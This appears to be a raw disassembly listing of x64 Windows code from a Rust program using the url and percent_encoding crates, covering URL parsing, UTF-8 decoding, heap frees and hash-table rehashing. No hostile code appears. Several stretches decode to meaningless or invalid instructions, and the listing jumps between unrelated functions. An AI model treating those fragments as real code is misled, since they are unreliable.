shl r9, 0x28
shl r8, 8
or r8, r9
or r8, rcx
mov rcx, qword [rsp + 0xa0]
movabs r13, 0x8000000000000001
cmp rax, r13
setg dl
cmp rcx, 9
sete r9b
test dl, r9b
je 0x140116c06
movabs rdx, 0x736f686c61636f6c
xor rdx, qword [r8]
movzx r9d, byte [r8 + 8]
xor r9, 0x74
or r9, rdx
je 0x14011705c
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r8
mov qword [rsp + 0x80], rcx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x108], rax
lea rax, [0x14011bb30]
mov qword [rsp + 0x110], rax
lea rax, [0x14018eb28]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xb0], 0
lea rax, [rsp + 0x108]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 1
lea rdx, [0x14018dd58]
lea r8, [rsp + 0x90]
mov rcx, rdi
call fcn.140009870
test al, al
jne 0x140117397
mov rax, qword [rsp + 0x70]
mov r14, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
add r13, rax
xor ecx, ecx
cmp rax, rbp
cmovl rcx, r13
test rcx, rcx
mov qword [rsp + 0xe0], rdx
je 0x140116e57
cmp rcx, 1
jne 0x140116e65
mov r13b, 2
mov qword [rsp + 0x68], rcx
jmp 0x140116e74
mov rax, qword [rdi]
mov rcx, qword [rdi + 0x10]
sub rax, rcx
cmp rax, r14
jb 0x1401172a5
add rcx, qword [rdi + 8]
mov r8, r14
call fcn.140121660
add qword [rdi + 0x10], r14
mov r14, rbp
mov ebp, dword [rbp + 0x2c]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
lea rcx, [rsp + 0x90]
mov rdx, rdi
xor r8d, r8d
mov r9d, ebp
call fcn.140118b20
mov eax, dword [rsp + 0x90]
cmp eax, 2
je 0x1401171f2
mov ecx, dword [rsp + 0x9c]
mov rdx, qword [rsp + 0x94]
mov r8, qword [rdi + 0x10]
mov qword [rsi + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [rsi], xmm0
movups xmm0, xmmword [r14 + 0x40]
movups xmmword [rsi + 0x40], xmm0
movzx r8d, byte [r14 + 0x50]
mov byte [rsi + 0x50], r8b
mov dword [rsi + 0x18], eax
mov qword [rsi + 0x1c], rdx
mov dword [rsi + 0x24], ecx
mov eax, dword [r14 + 0x28]
mov dword [rsi + 0x28], eax
mov dword [rsi + 0x2c], ebp
movups xmm0, xmmword [r14 + 0x30]
movups xmmword [rsi + 0x30], xmm0
jmp 0x14011727a
test rdx, rdx
setne r13b
mov qword [rsp + 0x68], rcx
jmp 0x140116e74
mov rcx, r14
shr rcx, 0x20
mov qword [rsp + 0x68], rcx
mov r13b, 3
cmp rax, rbp
jl 0x140116e90
test rax, rax
je 0x140116e90
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov bpl, 1
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rdi + 0x10]
mov rax, r15
shr rax, 0x20
jne 0x140116ef1
test r13b, r13b
setne byte [rsp + 0x70]
test bpl, bpl
je 0x140116f04
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0x70]
mov rcx, rdi
xor edx, edx
mov r9, r12
call fcn.140119740
mov rbx, rax
mov r12, rdx
mov rbp, qword [rsp + 0x68]
cmp byte [rsp + 0x70], 0
je 0x1401167b2
jmp 0x1401167df
mov byte [rsi + 8], 9
jmp 0x1401171fd
mov rbp, qword [rsp + 0x68]
cmp r15, qword [rdi]
je 0x140116770
jmp 0x140116778
test rax, rax
je 0x1401172c5
mov rcx, qword [0x14019f258]
xor r13d, r13d
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1401172c8
mov rcx, r8
mov rsi, qword [rsp + 0xf8]
mov rdi, qword [rsp + 0xf0]
mov rbp, qword [rsp + 0x180]
mov r14, qword [rsp + 0xe0]
mov r10, qword [rsp + 0xe8]
cmp rcx, 2
je 0x14011688d
movzx eax, byte [rbp + 0x40]
test al, al
je 0x1401170e5
mov dword [rsp + 0x68], eax
mov r8d, dword [rbp + 0x34]
mov r12d, dword [rbp + 0x38]
mov r14, qword [rbp + 8]
mov rdx, qword [rbp + 0x10]
cmp r8d, r12d
ja 0x140117113
test r8d, r8d
je 0x140117102
cmp rdx, r8
jbe 0x140117100
cmp byte [r14 + r8], 0xbf
jg 0x140117102
jmp 0x140117113
xor r12d, r12d
mov ebp, 7
add r15d, 0xffffffdd
cmp r15d, 0x39
jbe 0x140117189
jmp 0x14011719c
jne 0x140117113
test r12d, r12d
je 0x14011712c
cmp rdx, r12
jbe 0x14011712a
cmp byte [r14 + r12], 0xbf
jg 0x14011712c
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, r14
mov r9, r12
call fcn.140122bb0
jne 0x140117113
sub r12, r8
add r14, r8
mov rax, qword [rdi]
mov rcx, qword [rdi + 0x10]
mov rbp, rcx
sub rax, rcx
cmp rax, r12
jb 0x14011728e
mov rcx, qword [rdi + 8]
add rcx, rbp
mov rdx, r14
mov r8, r12
call fcn.140121660
add rbp, r12
mov qword [rdi + 0x10], rbp
mov rax, qword [rsp + 0x180]
movups xmm0, xmmword [rax + 0x41]
movaps xmmword [rsp + 0x70], xmm0
mov r14, qword [rsp + 0xe0]
mov r12d, dword [rsp + 0x68]
add r15d, 0xffffffdd
cmp r15d, 0x39
ja 0x14011719c
movabs rax, 0x200000010001001
bt rax, r15
jae 0x14011719c
mov r13, r14
mov byte [rsp + 0x90], 0
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x90]
mov rcx, rdi
xor edx, edx
mov r9, rbp
call fcn.1401140c0
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x90]
mov rdx, rdi
xor r8d, r8d
mov r9d, 4
call fcn.140118b20
mov eax, dword [rsp + 0x90]
cmp eax, 2
jne 0x140117225
movzx eax, byte [rsp + 0x94]
mov byte [rsi + 8], al
movabs rax, 0x8000000000000000
mov qword [rsi], rax
cmp qword [rdi], 0
je 0x14011727a
mov r8, qword [rdi + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14011727a
mov ecx, dword [rsp + 0x9c]
mov rdx, qword [rsp + 0x94]
mov r8, qword [rdi + 0x10]
mov qword [rsi + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [rsi], xmm0
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [rsi + 0x41], xmm0
mov dword [rsi + 0x18], eax
mov qword [rsi + 0x1c], rdx
mov dword [rsi + 0x24], ecx
mov word [rsi + 0x28], 0
movabs rax, 0x700000004
mov qword [rsi + 0x2c], rax
mov dword [rsi + 0x34], 7
mov dword [rsi + 0x38], ebp
mov dword [rsi + 0x3c], ebp
mov byte [rsi + 0x40], r12b
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rdi
mov rdx, rbp
mov r8, r12
call fcn.14012aee0
mov rbp, qword [rdi + 0x10]
jmp 0x140117148
mov rax, rcx
mov rcx, rdi
mov r15, rdx
mov rdx, rax
mov r8, r14
call fcn.14012aee0
mov rdx, r15
mov rcx, qword [rdi + 0x10]
jmp 0x140116db1
xor r13d, r13d
mov qword [rsp + 0x68], rax
xor ebp, ebp
jmp 0x140116e93
mov r8d, 2
mov rcx, rdi
mov rdx, r14
mov r14, r10
call fcn.14012aee0
mov r10, r14
mov r14, qword [rdi + 0x10]
jmp 0x1401168e9
lea rax, [0x14018df80]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, r14
xor r8d, r8d
call fcn.140122bb0
xor ecx, ecx
mov rdx, r14
call fcn.140122170
mov ecx, 1
mov rdx, r14
call fcn.140122170
mov ecx, 1
mov edx, 2
call fcn.140122170
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdx
mov rdx, r14
xor r8d, r8d
call fcn.140122bb0
lea rax, [0x14018df68]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14018dc18]
lea r8, [rsp + 0x90]
mov edx, 0x2b
call fcn.140122900
lea rax, [0x14018e030]
mov qword [rsp + 0x20], rax
mov rdx, r12
mov r8, r13
mov r9, r12
call fcn.140122bb0
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdx
mov rdx, r12
xor r8d, r8d
call fcn.140122bb0
int3
add byte [rax], al
jo 0x140117a5e
mov dword [rsp + 0x28], esi
mov ecx, edi
push rdi
and byte [rdi], cl
adc byte [rdi + 0x30], bl
add byte [rax], al
jae 0x140117af5
je 0x140117b0d
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x28], eax
mov ecx, esp
adc byte [rbp + 0x31], al
in al, 0xe9
pop rsp
add dword [rax], eax
add byte [rax - 0x75], cl
adc byte [r13 + 0x31], r8b
in al, 0xe9
fadd qword [rcx]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + rcx*4 + 0x6b], cl
or byte [rax - 0x75], cl
imul edx, dword [rax], 0xffffffe9
sub eax, 0xf000001
test dword [rdx + 0x48fffffe], edi
mov eax, dword [rdi]
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
mov r8, qword [rdx + 0x28]
mov edx, eax
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
jmp r8
pxor mm1, mm2
pcmpgtd xmm1, xmmword [0x14012fc10]
packssdw xmm0, xmm1
packsswb xmm0, xmm0
pmovmskb eax, xmm0
xor al, 0xff
jne case.0x140118938.33
lea eax, [r8 - 0xe1000]
cmp eax, 0xeffe
jb case.0x140118938.33
lea eax, [r8 - 0xf0000]
cmp eax, 0xfffe
jb case.0x140118938.33
add r8d, 0xfff00000
mov al, 6
cmp r8d, 0xfffe
jae 0x140118a72
jmp case.0x140118938.33
inc r14
cmp ecx, 0xd
ja 0x140118c30
mov edx, 0x110000
bt eax, ecx
jae 0x140118c30
cmp edx, 0x110000
jne 0x140118c3e
cmp r14, rbx
je 0x140118cca
movzx r11d, byte [r14]
movzx ecx, r11b
test cl, cl
jns 0x140118b60
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r14 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x140118bf6
movzx r8d, byte [r14 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r11b, 0xf0
jb 0x140118c0d
movzx ecx, byte [r14 + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
je 0x140118cca
add r14, 4
cmp ecx, 0xd
jbe 0x140118b6c
jmp 0x140118c30
add r14, 2
shl edx, 6
or edx, r10d
mov ecx, edx
cmp ecx, 0xd
jbe 0x140118b6c
jmp 0x140118c30
add r14, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xd
jbe 0x140118b6c
nop word cs:[rax + rax]
mov edx, ecx
cmp edx, 0x110000
je 0x140118b86
cmp edx, 0x23
je 0x140118cdf
cmp edx, 0x3f
jne 0x140119115
mov rsi, qword [rdi + 0x10]
mov rax, rsi
shr rax, 0x20
jne 0x1401190a5
mov dword [rsp + 0x44], r9d
cmp rsi, qword [rdi]
jne 0x140118c73
mov rcx, rdi
call fcn.14001c770
mov r15, qword [rdi + 8]
mov byte [r15 + rsi], 0x3f
lea rcx, [rsi + 1]
mov qword [rdi + 0x10], rcx
mov r12, rbx
sub r12, r14
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x80], r13
mov byte [rsp + 0x36], bpl
je 0x140118ce6
js 0x140119160
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, r12
call fcn.1400f8ae0
test rax, rax
je 0x14011916a
mov rcx, qword [rsp + 0x38]
jmp 0x140118cee
mov dword [r13], 0
mov dword [r13 + 8], 0
jmp 0x1401190b2
xor esi, esi
jmp 0x140119054
xor r12d, r12d
mov eax, 1
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0
movzx eax, byte [rdi + 0x40]
mov byte [rsp + 0x37], al
mov r13, qword [rdi + 0x30]
mov rbp, qword [rdi + 0x38]
mov esi, 0x2600
jmp 0x140118d36
add r14, 2
shl eax, 6
or eax, r9d
mov r12d, eax
cmp r12d, 0xd
ja 0x140118d55
nop dword [rax + rax]
bt esi, r12d
jae 0x140118d55
cmp r14, rbx
je 0x140118e1d
movzx r8d, byte [r14]
movzx r12d, r8b
test r12b, r12b
js 0x140118da0
inc r14
cmp r12d, 0xd
jbe 0x140118d30
cmp r12d, 0x110000
je 0x140118d36
cmp r12d, 0x23
jne 0x140118d6f
cmp byte [rsp + 0x37], 0
je 0x140118e20
mov qword [rsp + 0x20], rbx
mov rcx, r13
mov rdx, rbp
mov r8d, r12d
mov r9, r14
call fcn.140118800
lea rcx, [rsp + 0x48]
mov edx, r12d
call case.0x1400f45bd.85
mov rcx, qword [rsp + 0x38]
jmp 0x140118d36
mov eax, r12d
and eax, 0x1f
movzx r9d, byte [r14 + 1]
and r9d, 0x3f
cmp r12b, 0xdf
jbe 0x140118d18
movzx edx, byte [r14 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140118e02
movzx r12d, byte [r14 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and r12d, 0x3f
or r12d, edx
or r12d, eax
cmp r12d, 0x110000
je 0x140118e1d
add r14, 4
cmp r12d, 0xd
jbe 0x140118d30
jmp 0x140118d55
add r14, 3
shl eax, 0xc
or edx, eax
mov r12d, edx
cmp r12d, 0xd
jbe 0x140118d30
jmp 0x140118d55
xor r14d, r14d
mov edx, dword [rsp + 0x44]
test edx, edx
mov rax, qword [rsp + 0x60]
movzx esi, byte [rsp + 0x36]
je 0x140118eca
mov r12d, edx
cmp rax, r12
jae 0x140118e60
cmp rcx, r12
je 0x140118e67
lea rax, [0x14018e218]
mov qword [rsp + 0x20], rax
mov rdx, rcx
mov rcx, r15
xor r8d, r8d
mov r9, r12
call fcn.140122bb0
cmp byte [r15 + r12], 0xbf
jle 0x140118e43
mov eax, dword [rsp + 0x44]
cmp eax, 3
je 0x140118eab
cmp eax, 5
je 0x140118ea2
cmp eax, 4
jne 0x140118eca
lea rdx, str.httphttpswswssftpfileC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srcparser.rs
mov rcx, r15
mov r8, r12
call fcn.1401220a0
mov rcx, qword [rsp + 0x38]
test eax, eax
je 0x1401190d7
lea rdx, [0x14018dd99]
jmp 0x140118eb2
lea rdx, [0x14018dd8c]
jmp 0x140118eb2
lea rdx, [0x14018dd96]
mov rcx, r15
mov r8, r12
call fcn.1401220a0
mov rcx, qword [rsp + 0x38]
test eax, eax
je 0x1401190d7
mov rdx, qword [rsp + 0x50]
mov r13, qword [rsp + 0x58]
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], r13
movabs rax, 0x8000000000000000
mov qword [rsp + 0x68], rax
cmp sil, 2
lea rax, [0x14018e230]
lea rbp, [0x14018e240]
cmove rbp, rax
mov qword [rsp + 0x38], rdx
jmp 0x140118f5e
inc rdx
dec r13
mov rsi, rdx
lea rax, [rax + rax*2]
lea rdx, [0x14015817d]
add rax, rdx
mov r12, r13
mov r13d, 3
mov rdx, rax
mov rax, qword [rdi]
sub rax, rcx
cmp rax, r13
jb 0x140118fdc
add rcx, r15
mov r8, r13
call fcn.140121660
add r13, qword [rdi + 0x10]
mov qword [rdi + 0x10], r13
mov rcx, r13
mov r13, r12
mov rdx, rsi
test r13, r13
je 0x140119000
movzx eax, byte [rdx]
movzx eax, al
test al, al
js 0x140118f10
mov r8d, eax
shr r8d, 5
mov r8d, dword [rbp + r8*4]
bt r8d, eax
jb 0x140118f10
mov esi, 1
mov r8d, 1
nop
cmp r13, r8
je 0x140118fd4
mov rax, r8
movzx r8d, byte [rdx + r8]
test r8b, r8b
js 0x140118fbc
movzx r9d, r8b
mov r8d, r9d
shr r8d, 5
mov r10d, dword [rbp + r8*4]
lea r8, [rax + 1]
bt r10d, r9d
jae 0x140118f90
sub r13, rax
jb 0x14011911a
lea rsi, [rdx + rax]
mov r12, r13
mov r13, rax
jmp 0x140118f33
xor r12d, r12d
jmp 0x140118f33
mov rax, rcx
mov rcx, rdi
mov r15, rdx
mov rdx, rax
mov r8, r13
call fcn.14012aee0
mov rdx, r15
mov r15, qword [rdi + 8]
mov rcx, qword [rdi + 0x10]
jmp 0x140118f42
mov rax, qword [rsp + 0x68]
shl rax, 1
test rax, rax
je 0x140119021
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, qword [rsp + 0x38]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x48], 0
mov r13, qword [rsp + 0x80]
mov r12, qword [rsp + 0x60]
je 0x14011904a
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov esi, 1
test r14, r14
je 0x1401190c6
mov r15, qword [rdi + 0x10]
mov rax, r15
shr rax, 0x20
jne 0x1401190a5
cmp r15, qword [rdi]
jne 0x14011906e
mov rcx, rdi
call fcn.14001c770
mov rax, qword [rdi + 8]
mov byte [rax + r15], 0x23
mov rax, r15
inc rax
mov qword [rdi + 0x10], rax
mov rcx, rdi
mov rdx, r14
mov r8, rbx
call fcn.1401184f0
mov dword [r13], esi
mov dword [r13 + 4], r12d
mov dword [r13 + 8], 1
mov dword [r13 + 0xc], r15d
jmp 0x1401190b2
mov byte [r13 + 4], 9
mov dword [r13], 2
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov dword [r13], 1
mov dword [r13 + 4], r12d
jmp 0x140118cd2
mov rdx, qword [rdi + 0x20]
mov r8, qword [rsp + 0x50]
mov r13, qword [rsp + 0x58]
test rdx, rdx
je 0x14011910d
mov rax, qword [rdi + 0x28]
lea rcx, [rsp + 0x68]
mov r9, r13
call qword [rax + 0x28]
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
jmp 0x140118eed
mov rdx, r8
jmp 0x140118ed4
call fcn.14012dca0
lea rax, [0x14016a300]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov qword [rsp + 0x98], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.1_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
lea rcx, [rsp + 0x88]
call fcn.1401224d0
xor ecx, ecx
mov rdx, r12
call fcn.140122170
mov ecx, 1
mov rdx, r12
call fcn.140122170
int3
int3
xor ebp, ebp
nop dword [rax]
test al, 1
jne 0x140126e57
mov rcx, rax
or rcx, 1
lock cmpxchg qword [rsi], rcx
jne 0x140126e40
jmp 0x140126fa2
cmp rax, 4
setb cl
cmp ebp, 0xa
setb dl
test cl, dl
je 0x140126eb8
cmp ebp, 3
jae 0x140126f1a
mov eax, 2
mov ecx, ebp
shl eax, cl
lea ecx, [rax - 1]
cmp ecx, 7
jb 0x140126ea5
mov ecx, eax
and ecx, 0xfffffff8
nop word [rax + rax]
pause
pause
pause
pause
pause
pause
pause
pause
add ecx, 0xfffffff8
jne 0x140126e90
and eax, 7
je 0x140126f1f
nop word [rax + rax]
pause
dec eax
jne 0x140126eb0
jmp 0x140126f1f
mov qword [rsp + 0x20], 0
mov rcx, qword [0x14019f1c0]
test rcx, rcx
je 0x140126f29
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x28], 1
mov rcx, rax
mov rdx, r15
and rcx, 0xfffffffffffffffc
loope 0x140126eea
je 0x140126ef7
mov qword [rsp + 0x40], rcx
xor edx, edx
invalid
ror byte [rax - 0x77], cl
push rsp
and al, 0x30
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], 0
mov ecx, eax
and ecx, 3
or rcx, r15
lock cmpxchg qword [rsi], rcx
jne 0x140126e40
jmp 0x140126f40
xor ecx, ecx
call r14
inc ebp
mov rax, qword [rsi]
jmp 0x140126e40
mov r12, rax
call fcn.1401270b0
mov rcx, rax
mov rax, r12
jmp 0x140126ecd
mov r12, qword [rsp + 0x20]
cmp qword [r12], 0
je 0x140126f90
mov rcx, qword [r12 + 0x10]
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [r12 + 8]
mov rax, qword [rsi]
jmp 0x140126e3a
mov qword [rsp + 0x48], 1
mov r8d, 8
mov rcx, rdi
mov rdx, rbx
mov r9d, 0xffffffff
invalid
inc dword [rcx - 1]
push rsp
and al, 8
invalid
mov rax, qword [rsp + 0x28]
test rax, rax
jne 0x140126f70
mov rax, qword [rsi]
jmp 0x140126e3a
add rsp, 0x50
add esp, 0x50
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
invalid
sbb r13d, r15d
dec dword [rax - 0x7b]
sal byte [rbp + rdx*2 + 0x48], 0x89
ret
and byte [rax - 0x77], cl
stc
adc eax, 0x7d8d
and al, 0x50
and al, 0xd8
add byte [rax], al
add byte [rdi], cl
mov dh, 5
leave
jg 0x140127345
add byte [rdx + 0x170], bh
leave
add byte [rdi], cl
sub dword [rax + 0xc0], eax
add dword [rax], eax
add bl, dh
movq mm0, qword [rbx]
movdqu xmmword [rbx + rsi], xmm0
lea rax, [rbx - 0x18]
xor ecx, ecx
xor edx, edx
jmp 0x140127d84
shr r10, 0x39
lea r8, [rdx - 0x10]
and r8, r13
and eax, ebp
and eax, ebp
mov byte [rbx + rdx], r10b
mov byte [rbx + r8 + 0x10], r10b
lea r8, [rdx + 1]
cmp rdx, r13
mov rdx, r8
je 0x140127ebc
cmp cl, byte [rbx + rdx]
jno 0x140127d74
mov r8, rdx
not r8
shl r8, 5
add r8, rbx
mov r10, rdx
shl r10, 5
mov r9, rax
sub r9, r10
nop word cs:[rax + rax]
mov r10, qword [r9]
mov r11, r13
and r11, r10
and ebx, edx
and ebx, edx
movdqu xmm0, xmmword [rbx + r11]
pmovmskb esi, xmm0
mov rdi, r11
test esi, esi
jne 0x140127df7
mov r15d, 0x10
mov rdi, r11
nop word cs:[rax + rax]
add rdi, r15
and rdi, r13
movdqu xmm0, xmmword [rbx + rdi]
pmovmskb esi, xmm0
add r15, 0x10
test esi, esi
je 0x140127de0
tzcnt esi, esi
add rsi, rdi
and rsi, r13
cmp byte [rbx + rsi], 0
js 0x140127e13
movdqa xmm0, xmmword [rbx]
pmovmskb esi, xmm0
tzcnt esi, esi
mov rdi, rdx
sub rdi, r11
sub edi, ebx
sub edi, ebx
mov r15, rsi
sub r15, r11
xor r15, rdi
and r15, r13
cmp r15, 0x10
jb 0x140127d60
mov r11, rsi
not r11
shl r11, 5
add r11, rbx
movzx edi, byte [rbx + rsi]
shr r10, 0x39
lea r15, [rsi - 0x10]
and r15, r13
mov byte [rbx + rsi], r10b
mov byte [rbx + r15 + 0x10], r10b
cmp dil, 0xff
je 0x140127e90
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r11]
movups xmmword [r8], xmm1
movups xmmword [r11], xmm0
movdqu xmm0, xmmword [r8 + 0x10]
movdqu xmm1, xmmword [r11 + 0x10]
movdqu xmmword [r8 + 0x10], xmm1
movdqu xmmword [r11 + 0x10], xmm0
jmp 0x140127db0
lea r9, [rdx - 0x10]
and r9, r13
mov byte [rbx + rdx], 0xff
mov byte [rbx + r9 + 0x10], 0xff
movdqu xmm0, xmmword [r8]
movdqu xmm1, xmmword [r8 + 0x10]
movdqu xmmword [r11 + 0x10], xmm1
movdqu xmmword [r11], xmm0
jmp 0x140127d74
cmp r13, 8
cmovb r14, r13
sub r14, qword [rsp + 0x28]
mov qword [r12 + 0x10], r14
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea ecx, [r14 - 1]
and ecx, r14d
dec r12
shr rax, 0x39
lea r8, [rdx - 0x10]
invalid
invalid
and r8, rbp
mov byte [rbx + rdx], al
mov byte [rbx + r8 + 0x10], al
not r13
lea rax, [r13*4]
add rax, r13
shl rax, 4
not rdx
lea rdx, [rdx + rdx*4]
shl rdx, 4
add al, 0x4c
mov eax, dword [rsp + 0x28]
invalid
add al, 0x4c
mov eax, dword [rsp + 0x28]
movups xmm0, xmmword [r8 + rax + 0x40]
movups xmmword [rbx + rdx + 0x40], xmm0
movdqu xmm0, xmmword [r8 + rax]
movdqu xmm1, xmmword [r8 + rax + 0x10]
movups xmm2, xmmword [r8 + rax + 0x20]
movups xmm3, xmmword [r8 + rax + 0x30]
movups xmmword [rbx + rdx + 0x30], xmm3
movups xmmword [rbx + rdx + 0x20], xmm2
movdqu xmmword [rbx + rdx + 0x10], xmm1
movdqu xmmword [rbx + rdx], xmm0
mov r14d, ecx
test r12, r12
je 0x1401281fc
test r14w, r14w
jne 0x14012816f
div byte [rbp + 0x25]
nop word [rax + rax]
movdqa xmm0, xmmword [r15 + 0x10]
add r15, 0x10
pmovmskb r14d, xmm0
add rdi, 0x10
cmp r14d, 0xffff
je 0x140128150
not r14d
tzcnt r13d, r14d
add r13, rdi
mov rax, r13
neg rax
lea r8, [rax + rax*4]
shl r8, 4
add r8, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
call fcn.1400a7ed0
mov rcx, rax
and rcx, rbp
movdqu xmm0, xmmword [rbx + rcx]
pmovmskb edx, xmm0
invalid
test edx, edx
jne 0x1401281d7
rol byte [rbp + 0x412b75d2], 1
mov eax, 0x10
mov r8d, 0x10
nop word cs:[rax + rax]
add rcx, r8
and rcx, rbp
movdqu xmm0, xmmword [rbx + rcx]
pmovmskb edx, xmm0
add r8, 0x10
test edx, edx
je 0x1401281c0
tzcnt edx, edx
add rdx, rcx
and rdx, rbp
cmp byte [rbx + rdx], 0
js 0x1401280c0
movdqa xmm0, xmmword [rbx]
pmovmskb ecx, xmm0
tzcnt edx, ecx
jmp 0x1401280c0
mov rax, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
jmp 0x140128215
mov rcx, qword [rsp + 0x58]
sub rcx, r12
mov qword [rax], rbx
mov qword [rax + 8], rbp
mov qword [rax + 0x10], rcx
test rsi, rsi
je 0x140128592
mov ecx, 0x50
mov rax, qword [rsp + 0x60]
mul rcx
add rsi, rax
cmp rsi, 0xffffffffffffffef
je 0x140128592
mov r8, qword [rsp + 0x28]
sub r8, rax
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
invalid
lea ecx, [r14 - 1]
and ecx, r14d
dec r12
shr rax, 0x39
lea r8, [rdx - 0x10]
and r8, rbp
mov byte [rbx + rdx], al
mov byte [rbx + r8 + 0x10], al
not r13
lea rax, [r13*2]
add rax, r13
shl rax, 4
not rdx
lea rdx, [rdx + rdx*2]
shl rdx, 4
mov r8, qword [rsp + 0x28]
movdqu xmm0, xmmword [r8 + rax]
movdqu xmm1, xmmword [r8 + rax + 0x10]
movups xmm2, xmmword [r8 + rax + 0x20]
movups xmmword [rbx + rdx + 0x20], xmm2
movdqu xmmword [rbx + rdx + 0x10], xmm1
movdqu xmmword [rbx + rdx], xmm0
mov r14d, ecx
test r12, r12
je 0x14012995c
test r14w, r14w
jne 0x1401298cf
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r15 + 0x10]
add r15, 0x10
pmovmskb r14d, xmm0
add rdi, 0x10
cmp r14d, 0xffff
invalid
invalid
